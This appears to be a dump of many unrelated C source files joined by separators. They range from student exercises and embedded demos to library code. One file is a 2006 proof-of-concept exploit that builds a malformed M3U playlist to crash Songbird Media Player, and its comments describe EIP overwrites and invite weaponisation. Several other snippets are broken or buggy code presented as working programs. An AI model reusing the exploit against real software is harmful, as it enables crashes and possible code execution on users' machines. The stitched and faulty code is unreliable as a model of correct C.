/* Scan name into name buffer, stopping at end of string or
when an '=' is encountered (denoting a value is next)
*/
while (*opt && *opt != '=' && pos < sizeof(namebuf) - 1) {
namebuf[pos++] = *opt;
++opt;
}
namebuf[pos] = '\0'; /* make sure name is terminated */
/* Send name to output, if possible */
if (name) *name = (char *)&namebuf;
/* Is there a value to follow? */
if (*opt == '\0') return 1; /* no, just return a name */
++opt; /* skip past the '=' */
pos = 0;
/* Scan value into value buffer, stopping at end of string.
Note that it is legal for the value to be an empty string;
this will be returned as a zero-length string, rather than
as a NULL
*/
while (*opt && pos < sizeof(valbuf) - 1) {
valbuf[pos++] = *opt;
++opt;
}
valbuf[pos] = '\0'; /* make sure value is terminated */
/* Send value to output, if possible */
if (value) *value = (char *)&valbuf;
return 1;
} /* end parse_option() */
/* Read in a line from the given input source and chop off the newline
Returns true if the line was read; false otherwise
*/
int read_line(FILE *ifp, char *buf, int len) {
int alen;
if (fgets(buf, len, ifp) == NULL) return 0; /* no more lines available */
alen = strlen(buf);
if (buf[alen - 1] == '\n') buf[alen - 1] = '\0';
return 1;
} /* end read_line() */
char *copy_string(char *str) {
char *copy;
int len;
if (str == NULL || (len = strlen(str)) == 0) return NULL;
if ((copy = malloc(len + 1)) == NULL) return NULL;
memcpy(copy, str, len);
copy[len] = '\0';
return copy;
} /* end copy_string() */
void strip_whitespace(char *line) {
char *spc, *non;
if (line == NULL) return;
spc = line;
/* Find the first whitespace character in the line, if any */
while (*spc && !isspace((int)*spc)) ++spc;
non = spc;
while (1) {
/* Find the first nonspace character after that */
while (*non && isspace((int)*non)) ++non;
/* If there is none, attenuate the string, and we're finished */
if (*non == '\0') {
*spc = '\0';
return;
}
/* Otherwise, pack non-space characters leftward 'til we find a
space again, then start over */
while (!isspace((int)*non) && *non != '\0') {
*spc = *non;
++spc;
++non;
}
}
} /* end strip_whitespace() */
int valid_string(char *str, char *comp) {
int len, span;
if (str == NULL || comp == NULL) return 0;
/* If str consists only of characters from comp, then the prefix of
str returned by strspn() should be the same length as the string
itself; otherwise, there are alloying characters, and the string
is not "valid" according to our definition
*/
len = strlen(str);
span = strspn(str, comp);
return (span == len);
} /* end valid_string() */
void translate(char *str, char from, char to) {
if (str == NULL) return;
while (*str) {
if (*str == from) *str = to;
++str;
}
} /* end translate() */
/* Count how many distinct ROM images are specified in the header */
int count_roms(char *hdr) {
int maxrom = -1;
if (hdr == NULL) return 0;
/* ROM numbers are specified by single digits */
while (*hdr) {
if (isdigit((int)*hdr)) {
int off = *hdr - '0';
if (off > maxrom) maxrom = off;
}
++hdr;
}
return maxrom + 1;
} /* end count_roms() */
/* Count how many address bits are specified in the header */
int count_addr(char *hdr) {
int nbits = 0;
if (hdr == NULL) return 0;
while (*hdr) {
if (tolower((int)*hdr) == 'a') ++nbits;
++hdr;
}
return nbits;
} /* end count_addr() */
/* Here there be dragons */
|
C
|
/*
** EPITECH PROJECT, 2017
** my_tabdup
** File description:
** my_tabdup
*/
#include "my.h"
char **my_tabdup(char **tab)
{
char **new = malloc(sizeof(*new) * (lentab(tab) + 1));
if (new == NULL)
return (NULL);
return (new);
}
|
C
|
/*************************************************************************
*
*
* Task2: Entering and exiting Power-save mode
*
*
*************************************************************************/
// Include header files for GCC/IAR
#include "../avr_compiler.h"
// The board.h header file defines which IO ports peripherals like
// Switches and LEDs are connected to. The header file is configured
// for use with XMEGA-A1 Xplained.
#include "../board.h"
#define SW_TOSC PIN0_bm
#define SW_RCOSC PIN1_bm
#define SW_ULP PIN2_bm
// The SLEEP-instruction
#define sleep() __asm__ __volatile__ ("sleep")
void facilitatePowersaving(void);
int main(void)
{
facilitatePowersaving();
// Configure switches
PORTCFG.MPCMASK = 0xff; // Configure several PINxCTRL registers at the same time
SWITCHPORTL.PIN0CTRL = (SWITCHPORTL.PIN0CTRL & ~PORT_OPC_gm) | PORT_OPC_PULLUP_gc; //Enable pull-up to get a defined level on the switches
SWITCHPORTL.DIRCLR = 0xff; // Set port as input
// Set up interrupt on buttons
SWITCHPORTL.INTCTRL = (SWITCHPORTL.INTCTRL & ~PORT_INT0LVL_gm) | PORT_INT0LVL_LO_gc;
SWITCHPORTL.INT0MASK = 0x0F;
// Configure LEDs
PORTCFG.MPCMASK = 0xff; // Configure several PINxCTRL registers at the same time
LEDPORT.PIN0CTRL = PORT_INVEN_bm; // Invert input to turn the leds on when port output value is 1
LEDPORT.DIRSET = 0xff; // Set port as output
LEDPORT.OUT = 0x01; // Set initial value
// Set up RTC timer and overflow interrupt
CLK.RTCCTRL = (CLK.RTCCTRL & ~CLK_RTCSRC_gm) | CLK_RTCSRC_TOSC_gc; // Choose 1kHz input from external 32kHz oscillator as RTC source as this is most power-efficient.
CLK.RTCCTRL |= CLK_RTCEN_bm; // Enable RTC
// Now we have 1024 ticks per second.
// We set the period to 2048, resulting in 1Hz toggling of the LED.
RTC.PER = 2048;
RTC.CTRL = (RTC.CTRL & ~RTC_PRESCALER_gm) | RTC_PRESCALER_DIV1_gc; // Set RTC prescaler 1
RTC.INTCTRL = (RTC.INTCTRL & ~RTC_COMPINTLVL_gm) | RTC_COMPINTLVL_LO_gc; // Enable LO interrupt on compare match
// Set up sleep registers
SLEEP.CTRL = (SLEEP.CTRL & ~SLEEP_SMODE_gm) | SLEEP_SMODE_PSAVE_gc;
SLEEP.CTRL |= SLEEP_SEN_bm; // Enable sleep, else SLEEP-instruction is ineffective.
// Enable low interrupt level in PMIC and enable global interrupts.
PMIC.CTRL |= PMIC_LOLVLEN_bm;
sei();
// Main loop.
char pressed = 0;
while (1) {
// == Button 0 pressed
if (((SWITCHPORTL.IN & SW_TOSC) | pressed) == 0x00) {
_delay_ms(5); // Debounce switch
pressed = 1; // Used for toggling
LEDPORT.OUT = SW_TOSC; // Toggle led
CLK.RTCCTRL = (CLK.RTCCTRL & ~CLK_RTCSRC_gm) | CLK_RTCSRC_TOSC_gc;
// == Button 1 pressed
} else if (((SWITCHPORTL.IN & SW_RCOSC) | pressed) == 0x00) {
_delay_ms(5); // Debounce switch
pressed = 1; // Used for toggling
LEDPORT.OUT = SW_RCOSC; // Toggle led
CLK.RTCCTRL = (CLK.RTCCTRL & ~CLK_RTCSRC_gm) | CLK_RTCSRC_RCOSC_gc;
// == Button 2 pressed
} else if (((SWITCHPORTL.IN & SW_ULP) | pressed) == 0x00) {
_delay_ms(5); // Debounce switch
pressed = 1; // Used for toggling.
LEDPORT.OUT = SW_ULP; // Toggle led
CLK.RTCCTRL = (CLK.RTCCTRL & ~CLK_RTCSRC_gm) | CLK_RTCSRC_ULP_gc;
// == Buttons released
} else if ( (SWITCHPORTL.IN & (SW_TOSC | SW_RCOSC | SW_ULP )) == 0x07) {
pressed = 0;
LEDPORT.OUTCLR = 0x0F;
sleep();
}
}
}
ISR(RTC_COMP_vect) {
LEDPORT.OUTTGL = 0xF0;
}
ISR(SWITCHPORT_INT0_vect) {
// Empty
asm("nop");
}
void facilitatePowersaving(void) {
// Pull-up on all ports, to ensure a defined state.
PORTCFG.MPCMASK = 0xFF;
PORTA.PIN0CTRL = PORT_OPC_PULLUP_gc;
PORTCFG.MPCMASK = 0xFF;
PORTB.PIN0CTRL = PORT_OPC_PULLUP_gc;
PORTCFG.MPCMASK = 0xFF;
PORTC.PIN0CTRL = PORT_OPC_PULLUP_gc;
PORTCFG.MPCMASK = 0xFF;
PORTD.PIN0CTRL = PORT_OPC_PULLUP_gc;
PORTCFG.MPCMASK = 0xFF;
PORTE.PIN0CTRL = PORT_OPC_PULLUP_gc;
PORTCFG.MPCMASK = 0xFF;
PORTF.PIN0CTRL = PORT_OPC_PULLUP_gc;
PORTCFG.MPCMASK = 0xFF;
PORTH.PIN0CTRL = PORT_OPC_PULLUP_gc;
PORTCFG.MPCMASK = 0xFF;
PORTJ.PIN0CTRL = PORT_OPC_PULLUP_gc;
PORTCFG.MPCMASK = 0xFF;
PORTK.PIN0CTRL = PORT_OPC_PULLUP_gc;
PORTCFG.MPCMASK = 0xFF;
PORTQ.PIN0CTRL = PORT_OPC_PULLUP_gc;
PORTCFG.MPCMASK = 0xFF;
PORTR.PIN0CTRL = PORT_OPC_PULLUP_gc;
// Because of the audio amplifier, we have to define pull-down on PQ3
// NTC is already disabled via pull-up
PORTQ.PIN3CTRL = PORT_OPC_PULLDOWN_gc;
// The potentiometer has an analog voltage, thus both pull-up and pull-down in tristate will source current. ~35A.
PORTB.DIRSET = PIN1_bm;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* common.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: mikaelberglund <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/07/15 18:17:30 by mikaelber #+# #+# */
/* Updated: 2020/08/18 17:39:37 by mikaelber ### ########.fr */
/* */
/* ************************************************************************** */
#include "ft_ls.h"
/*
** Print error string from current errno
** along with custom string.
*/
void ft_perror(char *str)
{
char tmp[ft_strlen(str) + 8];
ft_memset(tmp, '\0', ft_strlen(str) + 8);
ft_strcat(tmp, "ft_ls: ");
ft_strcat(tmp, str);
perror(tmp);
}
/*
** Concat path with new name into cpath.
** cpath must already have sufficiently allocated space.
*/
void ft_concat_path(char *cpath, char *path, char *name)
{
int pathlen;
pathlen = ft_strlen(path);
ft_memset(cpath, '\0', pathlen + ft_strlen(name) + 2);
if (pathlen)
{
ft_strcat(cpath, path);
if (!(pathlen == 1 && path[0] == '/'))
ft_strcat(cpath, "/");
}
ft_strcat(cpath, name);
}
/*
** Free single entry structure.
*/
void ft_del_entry(t_entry *entry)
{
free(entry->name);
free(entry);
}
/*
** Free a list of entries.
*/
void ft_del_entries(t_entry *list)
{
t_entry *tmp;
while (list)
{
tmp = list;
list = list->next;
ft_del_entry(tmp);
}
}
|
C
|
#include "Spline.H"
using namespace std;
Spline::Spline
(
const std::map<double, ColumnVector>& data
)
{
std::map<double, const double*> data2;
int spnum=data.begin()->second.length();;
for (std::map<double, ColumnVector>::const_iterator it=data.begin();
it!=data.end(); it++)
{
data2[it->first]=it->second.data();
}
create(spnum, data2);
}
Spline::Spline
(
int spnum,
const std::map<double, const double*>& data
)
{
create(spnum, data);
}
void Spline::create
(
int spnum,
const std::map<double, const double*>& data
)
{
int np=data.size();
n_=np;
x_.reset(new double[np]);
int j=0;
for (std::map<double, const double*>::const_iterator it=data.begin();
it!=data.end();it++)
{
x_.get()[j++]=it->first;
}
for (int i=0; i<spnum; i++)
{
accels.push_back(gsl_interp_accel_alloc ());
splines.push_back(gsl_spline_alloc (gsl_interp_cspline, np));
double y[np];
j=0;
for (std::map<double, const double*>::const_iterator it=data.begin();
it!=data.end();it++)
{
y[j++]=it->second[i];
}
gsl_spline_init(splines[i], x_.get(), y, np);
}
}
Spline::~Spline()
{
for (int i=0; i<splines.size(); i++)
{
gsl_spline_free(splines[i]);
gsl_interp_accel_free(accels[i]);
}
}
ColumnVector Spline::interpolate(double x)
{
x=min( (&(*x_))[n_-1], max((&(*x_))[0], x));
ColumnVector y(splines.size(), 0.0);
for (int i=0; i<splines.size(); i++)
{
y(i)=gsl_spline_eval(splines[i], x, accels[i]);
}
return y;
}
ColumnVector Spline::firstDerivative(double x)
{
ColumnVector dydt(splines.size(), 0.0);
for (int i=0; i<splines.size(); i++)
{
dydt(i)=gsl_spline_eval_deriv(splines[i], x, accels[i]);
}
return dydt;
}
ColumnVector Spline::secondDerivative(double x)
{
ColumnVector dydt(splines.size(), 0.0);
for (int i=0; i<splines.size(); i++)
{
dydt(i)=gsl_spline_eval_deriv2(splines[i], x, accels[i]);
}
return dydt;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct monstro{
char cor[128];
int forca;
float altura;
};
int main(){
struct monstro *m1;
m1=((struct monstro*) malloc(10*(sizeof (struct monstro)
)));
printf(" %s %d %f\n",m1->cor,m1->forca,m1->altura);
return 0;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_atoi.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: hangkim <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2020/07/13 14:04:13 by hangkim #+# #+# */
/* Updated: 2020/07/16 14:30:58 by hangkim ### ########.fr */
/* */
/* ************************************************************************** */
int is_space(char c)
{
if (c == '\t' || c == '\n' || c == '\v')
return (1);
if (c == '\f' || c == '\r' || c == ' ')
return (1);
return (0);
}
int ft_isvalid(char *base)
{
int i;
int j;
char tmp;
i = 0;
j = 0;
if (base[0] == '\0' || base[1] == '\0')
return (0);
while (base[i])
{
tmp = base[i];
if (tmp == '+' || tmp == '-' || is_space(tmp))
return (0);
j = i;
while (base[j + 1])
{
if (tmp == base[j + 1])
return (0);
j++;
}
i++;
}
return (i);
}
int ft_chk_char(char c, char *base)
{
int i;
i = 0;
if (c == '\t' || c == '\n' || c == '\v')
return (-3);
if (c == '\f' || c == '\r' || c == ' ')
return (-3);
if (c == '-' || c == '+')
return (-1);
while (base[i])
{
if (c == base[i])
return (i);
i++;
}
return (-4);
}
int ft_convert_ten(int i, int size, char *str, char *base)
{
int val;
int res;
res = 0;
val = ft_chk_char(str[i], base);
while (val >= 0)
{
res = res * size + val;
i++;
val = ft_chk_char(str[i], base);
}
return (res);
}
int ft_atoi_base(char *str, char *base)
{
int i;
int sign;
int size;
int chk_value;
i = 0;
sign = 1;
size = ft_isvalid(base);
if (size == 0)
return (0);
while (ft_chk_char(str[i], base) == -3)
i++;
chk_value = ft_chk_char(str[i], base);
while (chk_value == -1 && str[i] != '\0')
{
if (str[i] == '-')
sign *= -1;
i++;
chk_value = ft_chk_char(str[i], base);
}
return (sign * ft_convert_ten(i, size, str, base));
}
|
C
|
#include<stdio.h>
#include<math.h>
int main()
{
int n,a,n1,n2,sum=0,cnt=0,p,i;
printf("enter the number");
scanf("%d",&n);
n1=n;
n2=n1;
while(n>0)
{
cnt++;
n=n/10;
}
while(n1>0)
{ p=1;
a=n1%10;
for(i=1;i<=cnt;i++)
{
p=p*a;
}
sum=sum+p;
n1=n1/10;
} if(sum==n2)
{
printf("%d is a armstrong number",n2);
} else
printf("%d is not a armstrong number",n2);
return 0;
}
|
C
|
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
int main()
{
int n;
scanf("%d", &n);
int m = 2*n -1;
//Columns
for (int i = 0; i < m; i++){
//Rows
for (int j = 0; j < m; j++){
//Main part of the computing
int min;
if(i < j)
min = i;
else {
min = j;
}
if(min < m - i)
min = min;
else {
min = m - i - 1;
}
if(min < m - j - 1)
min = min;
else {
min = m - j - 1;
}
printf("%d ", n - min);
}
printf("\n"); //jump line at the end of the computing.
}
return 0;
}
|
C
|
#include <libmemcached/memcached.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define VALUE_SIZE 4000000
#define VALUES 100
#define ASCII_START 65
#define ASCII_END 122
static int sizes[] = {16000, 32000, 64000, 128000};
char* generateRandomString() {
int size = sizes[rand() % 3];
char *res = malloc(size + 1);
int i;
for(i = 0; i < size; i++) {
res[i] = (char) (rand()%(ASCII_END-ASCII_START))+ASCII_START;
}
res[i] = '\0';
printf("%d\n", strlen(res));
return res;
}
void createFile(char *key, char *value) {
char *path = malloc(128);
strcpy(path, "/tmp/");
FILE *newFile = fopen(strcat(path, key), "w");
free(path);
if(!newFile) {
perror("Error opening file");
return;
}
fprintf(newFile, "%s", value);
}
void createValueMemcached(char *key, char *value, memcached_st *memc) {
memcached_return rc;
rc = memcached_set(memc, key, strlen(key),
value, strlen(value),
(time_t) 0, (uint32_t) 0);
if(rc == MEMCACHED_SUCCESS)
printf("Key stored successfully\n");
else
fprintf(stderr, "Couldn't store key: %s\n", memcached_strerror(memc, rc));
}
int main(int argc, char **argv) {
char *value, key[32];
int i;
char *retrieved_value;
memcached_server_st *servers = NULL;
memcached_st *memc;
memcached_return rc;
memc = memcached_create(NULL);
servers = memcached_server_list_append(servers, "localhost", 12345, &rc);
rc = memcached_server_push(memc, servers);
if(rc == MEMCACHED_SUCCESS)
printf("Added server successfully\n");
else
perror("Could not add server\n");
// set seed for random
srand(time(NULL));
for(i = 0; i < VALUES; i++) {
key[0] = '\0';
sprintf(key, "value%d", i);
value = generateRandomString();
createFile(key, value);
createValueMemcached(key, value, memc);
free(value);
}
return 0;
}
/*
received_value = memcached_get(memc, key, strlen(key), &value_length, &flags, &rc);
if(rc == MEMCACHED_SUCCESS)
fprintf(stderr, "Key retrieved successfully\n");
printf("The key '%s' returned value '%s'.\n", key, retrieved_value);
free(retrieved_value);
else
fprintf(stderr, "Could not retreive key: %s\n", memcached_stderror(memc, rc));
*/
|
C
|
#ifndef STREAM_H
#define STREAM_H
#include <stdlib.h>
#include <stdint.h>
#define S_INIT_LEN 256
#define S_SEEK_BEGIN INT_MIN
#define S_SEEK_END INT_MAX
typedef struct
{
uint8_t* buf; /* gets resized when more space is needed, size
* always equals .len */
int buf_own;
int len_avail;
int len;
int g;
int p;
}
stream_t;
stream_t s_create ();
stream_t s_create_from_buf (uint8_t* buf, int len);
void s_free (stream_t* s);
void s_seekg (stream_t* s, int relpos);
void s_seekp (stream_t* s, int relpos);
int s_tellg (stream_t* s);
int s_tellp (stream_t* s);
void s_rewind (stream_t* s);
int s_eof (stream_t* s);
int s_read (stream_t* s, uint8_t* b, int len);
void s_write (stream_t* s, uint8_t* b, int len);
int s_read_until (stream_t* s, char delim, uint8_t* b, int maxlen);
uint8_t* s_glance (stream_t* s);
uint8_t s_peek (stream_t* s);
uint8_t s_read_byte (stream_t* s);
void s_write_byte (stream_t* s, uint8_t x);
uint16_t s_read_int16 (stream_t* s);
void s_write_int16 (stream_t* s, uint16_t x);
uint32_t s_read_int32 (stream_t* s);
void s_write_int32 (stream_t* s, uint32_t x);
uint64_t s_read_int64 (stream_t* s);
void s_write_int64 (stream_t* s, uint64_t x);
#endif
|
C
|
/*
========================================================================
0-day Songbird Media Player <= 0.2 Format String Denial Of Service PoC
========================================================================
Songbird Media Player and lower experiance a format string conversion error
when attempting to parse out malformed M3U Playlist files in which extended
ascii exists in any field.
The problem seems to originate in the unicode coverter which kicks into
effect when extended ascii is present in a M3U file. It can even cause
a huge spike in CPU Resources, a few times mine flatlined at 99% after exploit
and required a system reboot.
I don't have the time to try to turn this into an exploit, but i've seen
it overwrite EIP with some values - the string is getting converted to unicode
prior to the error. And sometimes EIP gets randomly overwritten with values,
and sometimes the application just crashes.
For me using this exploit EIP gets overwritten with 0x35382534 = "58%4"
sometimes its 0x3f3f3f3f and sometimes its 0xfffffff3.
I noticed removing a file extension from the exploit causes EIP to get
overwriten
more frequently.
Im sure someone will turn this into an exploit, just credit me with my name and
email address in the exploit, I'll be more than happy.
Happy Hunting and Happy Holidays to everyone
<insert super awesome leet ascii art here>
November 2006 - Month Of Greg's Media Player Exploits :)
(i'll probably continue it into December)
Discovered and Reported By: Greg Linares GLinares.code@gmail.com
Reported Exploit Date: 11/28/2006
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
FILE *Exploit;
char buffer[512];
int x;
printf("\n======================================================================\n");
printf("0-day Songbird Media Player <= 0.2 Format String Denial Of Service PoC \n");
printf("Crashes Songbird Player sometimes consumes 99%% CPU and needs reboot \n");
printf("Discovered and Coded By: Greg Linares <GLinares.code[at]gmail[dot]com>\n");
printf("Usage: %s <output M3U file>\n", argv[0]);
printf("====================================================================\n\n\n");
if (argc < 2) {
printf("Invalid Number Of Arguments\n");
return 1;
}
Exploit = fopen(argv[1],"w");
if ( !Exploit )
{
printf("\nCouldn't Open File!");
return 1;
}
memset(buffer, 0, 512);
for (x=0;x<512;x++) {
strcat(buffer, "A");
}
/* I havent played around with much extended ascii but i do know \xb5 - \xbf work */
/* Vulgar Fractions Scare Me Too */
fputs("#EXTM3U\r\n#EXTINF:0,0_day_Songbird_Format_String_PoC_by_Greg_Linares\xbc", Exploit);
fputs(buffer, Exploit);
fputs(buffer, Exploit);
fputs("\r\nC:\\", Exploit);
fputs(buffer, Exploit);
/*
This works as well here but sometimes EIP doesnt get overwritten and the application just crashes.
fputs(".mp3\r\n", Exploit);
fputs("C:\\RANDOMFILENAMEHERE\xbc\xbx\xbc\xbc", Exploit);
fputs(buffer, Exploit);
fputs(".mp3\r\n", Exploit);
*/
printf("Exploit Succeeded...\n Output File: %s\n\n", argv[1]);
printf("Questions, Comments, Feedback --> Greg Linares (GLinares.code[at]gmail[dot]com)\n");
fclose(Exploit);
return 0;
}
// milw0rm.com [2006-11-28]
|
C
|
/* File : bintree.h */
/* Desk : Deklarasi Binary Tree secara rekursif */
/* Oleh : ANI RAHMANI / 23501007 */
/* Tgl : 21 / 11 / 2001 */
/* Mod : Mohammad Rizky Maulidhan */
/* Tgl Mod : 23 /06 / 2020 */
#ifndef BINTREE_H
#define BINTREE_H
#define Nil NULL
#define Info(P) (P)->info
#define Left(P) (P)->left
#define Right(P) (P)->right
#define Next(P) (P)->next
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "../Stack/stackChar.h"
#include "../Boolean/boolean.h"
typedef char String[50];
typedef char infotypeTree[10];
typedef struct tElmtNode *addressTree;
typedef struct tElmtNode {
infotypeTree info;
addressTree left;
addressTree right;
} ElmtNode;
typedef addressTree BinTree;
/* ****** MANAJEMEN MEMORY ******* */
addressTree AlokasiTree(infotypeTree X);
/* Menghasilkan addressTree hasil alokasi sebuah Node */
/* Jika alokasi berhasil, maka addressTree tidak NIl */
/* Info(P)=X, Left(P)=Nil,Right(P)=Nil, dan Count(P)=0 */
/* Jika alokasi gagal mengembalikan Nil */
boolean IsEmptyTree(BinTree P);
/* Mengembalikan true jika pohon kosong */
void CreateEmptyTree(BinTree *P);
/* Membuat Tree kosong */
BinTree GetLeft(BinTree P);
/* Mengirimkan anak kiri pohon biner P */
BinTree GetRight(BinTree P);
/* Mengirimkan anak kanan pohon biner P */
/* ******** KONSTRUKTOR ************ */
BinTree Tree(infotypeTree X, BinTree L, BinTree R);
/* Menghasilkan sebuah pohon Biner dari A, L, dan R jika AlokasiTree berhasil */
/* Menghasilkan pohon kosong Nil, jika alokasi gagal */
void MakeTree(infotypeTree Y, BinTree L, BinTree R, BinTree *P);
/* I.S : Sembarang */
/* F.S : Menghasilkan sebuah pohon biner P dari A,L,dan R, jika alokasi */
/* berhasil; Menghasilkan pohon P yang kosong jika alokasi gagal */
void BuildTree(BinTree *P);
/* Membentuk sebuah pohon biner P dari pita karakter yang dibaca */
/* I.S : Pita berisi 'kostanta' pohon dalam bentuk prefiks, memory */
/* pasti cukup, alokasi pasti berhasil */
/* F.S : P dibentuk dari Ekspresi dalam Pita */
/* ************* TRAVERSAL ************* */
void Preorder(BinTree P);
/* I.S : P terdefinisi */
/* F.S : semua simpul P sudah diproses secara Preorder; akar, kiri */
/* kanan (dengan Proses (P)) */
void Inorder(BinTree P);
/* I.S : P terdefinisi */
/* F.S : semua simpul P sudah diproses secara Inorder; kiri, akar */
/* kanan (dengan Proses (P)) */
void Postorder(BinTree P);
/* I.S : P terdefinisi */
/* F.S : semua simpul P sudah diproses secara Postorder; kiri, */
/* kanan, akar (dengan Proses (P)) */
void PrintTree(BinTree P);
/* I.S : P terdefinisi, h adalah jarak indentasi */
/* F.S : semua simpul P sudah ditulis */
void PrintInfoTree(BinTree P);
/* Menampilkan info-info dari setiap node pada pohon P */
/* I.S : Pohon P pasti ada */
/* F.S : Info-info dari setiap node pada pohon P ditampilkan */
int Prior(char x);
int Priority(char a, char b);
void Convert(String infix, String postfix);
int toInt(String X);
float evaluate(BinTree P);
#endif
|
C
|
#include "slalib.h"
#include "slamac.h"
double slaDpav ( double v1 [ 3 ], double v2 [ 3 ] )
/*
** - - - - - - - -
** s l a D p a v
** - - - - - - - -
**
** Position angle of one celestial direction with respect to another.
**
** (double precision)
**
** Given:
** v1 double[3] direction cosines of one point
** v2 double[3] direction cosines of the other point
**
** (The coordinate frames correspond to RA,Dec, Long,Lat etc.)
**
** The result is the bearing (position angle), in radians, of point
** v2 with respect to point v1. It is in the range +/- pi. The
** sense is such that if v2 is a small distance east of v1, the
** bearing is about +pi/2. Zero is returned if the two points
** are coincident.
**
** The vectors v1 and v2 need not be unit vectors.
**
** The routine slaDbear performs an equivalent function except
** that the points are specified in the form of spherical
** coordinates.
**
** Last revision: 12 December 1996
**
** Copyright P.T.Wallace. All rights reserved.
*/
{
double x0, y0, z0, w, x1, y1, z1, s, c;
/* Unit vector to point 1. */
x0 = v1 [ 0 ];
y0 = v1 [ 1 ];
z0 = v1 [ 2 ];
w = sqrt ( x0 * x0 + y0 * y0 + z0 * z0 );
if ( w != 0.0 ) { x0 /= w; y0 /= w; z0 /= w; }
/* Vector to point 2. */
x1 = v2 [ 0 ];
y1 = v2 [ 1 ];
z1 = v2 [ 2 ];
/* Position angle. */
s = y1 * x0 - x1 * y0;
c = z1 * ( x0 * x0 + y0 * y0 ) - z0 * ( x1 * x0 + y1 * y0 );
return ( s != 0.0 || c != 0.0 ) ? atan2 ( s, c ) : 0.0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include<string.h>
typedef struct {
char a;
int b;
int c;
int d;
player* node;
}player;
int main()
{
player* p=player* malloc(sizeof player);
while (1){
}
return 0;
}
|
C
|
#include "headers.h"
char * curr_dir(char *ind)
{
char * pp;
pp = (char *)malloc(1000*sizeof(char));
char cud[1020];
getcwd(cud,sizeof(cud));
/* If both are same we return '~'
else we return remaining directory */
if(!(strcmp(cud,ind)))
{
pp[0] = '~';
for (int i = 1; i < 1000; ++i)
{
pp[i] = '\0';
}
return pp;
}
else
{
int l = strlen(ind);
int f = strlen(cud);
if (f < l)
{
/* code */
for(int i=0;i<f;i++)
{
pp[i] = cud[i];
}
for (int i = f; i <=99 ; i++)
{
pp[i] = '\0';
}
return pp;
}
else
{
pp[0] = '~';
for (int i = 1 ; i <=f-l ; i++)
{
pp[i] = cud[i+l-1];
}
return pp;
}
}
}
|
C
|
#include <stdio.h>
int main(void)
{
int n = 7;
for(int d=2; d<n; d*d){
if(n % d == 0){
printf("%d is prime \n", n);
break;
}
}
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
typedef struct _node{ // list definition
int data;
struct _node *next;
struct _node *prev;
}node;
node *head = NULL;
node *tail = NULL;
int n=1;
void sort(int arr[], int n) //insertion sort, sorting the array in ascending order before inserting in the list
{
int aux;
for(int i=0; i<n-1; i++)
for(int j=i+1; j<n; j++)
if(arr[j]<arr[i])
{
aux = arr[j];
arr[j] = arr[i];
arr[i] = aux;
}
}
int* read()
{
FILE *f=fopen("filecopy.bin", "rb");// opening the passwn file
if(!f)
{
printf("Cannot find filecopy.bin file\n");
exit(-1);
}
int *values = malloc(sizeof(int)); // allocating mem for elements
while(fread(&values[n-1], sizeof(int), 1, f)) // while reading the array from the file
{
n++;
values = realloc(values, sizeof(int)*n); // reallocating memory for array while is reading
}
fclose(f);
return values; // returning the array pointer
}
void print(int arr[], int n)
{
printf("Array elems: "); // printing the array elements
for(int i=0; i<n; i++)
printf("%d ", arr[i]);
printf("\n");
}
void add_to_list(int nr) // creating a node and add it to the list
{
if (head == NULL) // if head is null then create it
{
node *temp;
temp = (node *)malloc(sizeof(node));
if (temp == NULL)
{
printf("Error malloc for nodes");
exit(-1);
}
temp->data = nr; // insert data in the node
temp->next = NULL; // head is the single node now
temp->prev = NULL;
head = temp; // head is the created node, temp
tail = head; // tail is the last node
}
else
{
node *temp;
temp = (node *)malloc(sizeof(node)); // alloc memory for the node
if (temp == NULL)
{
printf("Error malloc creating initial list");
exit(-1);
}
temp->data = nr; // insert data in the node
temp->next = NULL; // temp is the last node
tail->next = temp; // the tail next node will be the created one
temp->prev = tail; // the created node has the tail node as previous
tail = temp; // the created node will be the last
}
}
void print_list() // printing the list starting from head
{
node *temp;
printf("List content: ");
for(temp = head; temp!=NULL; temp=temp->next)
printf("%d ", temp->data);
printf("\n");
}
void free_memory(node *p) // clearing the memory starting from node p
{
node *aux;
while (p)
{
aux = p->next;
free(p);
p = aux;
}
}
int main()
{
int *arr = read();
// print(arr, n);
sort(arr, n);
// print(arr, n);
for(int i=0; i<n; i++) // adding the sorted array data in the list
add_to_list(arr[i]);
print_list();
free_memory(head);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#define true 1
#define false 0
char Menu();
void Enter();
void inicializarArreglo(int Arreglo[20]);
void llenarArreglo(int Arreglo[20], int * tamano);
void recorrerArreglo(int Arreglo[20], int tamano);
int main()
{
char opcion;
int Arreglo[20], tamano;
int bandera=false;
inicializarArreglo(Arreglo);
do
{
system("cls");
opcion=Menu();
switch(opcion)
{
case '1':
llenarArreglo(Arreglo, &tamano);
Enter();
bandera=true;
break;
case '2':
if(bandera==false)
{
printf("Error: el arreglo esta vacio.\n");
}
else
{
recorrerArreglo(Arreglo, tamano);
}
Enter();
break;
case '3':
printf("Gracias por usar el programa. Adios.\n");
Enter();
break;
default:
printf("Opcion invalida.\n");
Enter();
break;
}
}
while(opcion!='3');
}
char Menu()
{
char opcion;
printf("Bienvenido!\n");
printf("\tOpcion 1: llenar un arreglo.\n");
printf("\tOpcion 2: ver el arreglo.\n");
printf("\tOpcion 3: salir.\n");
printf("Dame tu opcion: ");
scanf("%c", &opcion);
fflush(stdin);
return opcion;
}
void Enter()
{
char enter;
printf("Presiona <enter> para continuar... ");
scanf("%c", &enter);
fflush(stdin);
}
void llenarArreglo(int Arreglo[20], int * tamano)
{
int i;
do
{
printf("Dame el tamanio del arreglo entre 1 y 20: ");
scanf("%d", tamano);
fflush(stdin);
if(!(*tamano>0 && *tamano<21))
{
printf("Dimension invalida, vuelva a intentar.\n");
}
} while (!(*tamano>0 && *tamano<21));
